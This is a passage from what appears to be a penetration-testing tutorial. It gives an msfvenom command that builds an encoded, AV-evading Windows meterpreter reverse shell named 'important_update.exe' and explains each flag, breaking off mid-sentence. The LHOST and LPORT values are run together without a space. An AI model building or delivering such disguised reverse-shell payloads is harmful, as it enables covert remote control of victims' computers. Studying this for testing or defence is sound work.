msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 -f exe LHOST=192.168.10.50LPORT=8080 > ~/Desktop/important_update.exe
- msfvenom: msfvenom is a tool from the Metasploit framework that combines the functionality of msfpayload and msfencode. It's able to backdoor legitimate files and encode them for things such as AV evasion. It can craft payloads for pretty much any platform, and any format.
- -p windows/meterpreter/reverse_tcp: This tells msfvenom what to use for a payload. In this case, we're using the standard meterpreter reverse shell, which will pop a shell on the remote host and connect back to a listener that we have running.
- -e x86/shikata_ga_nai -i 5: This tells msfvenom to encode the payload, using ...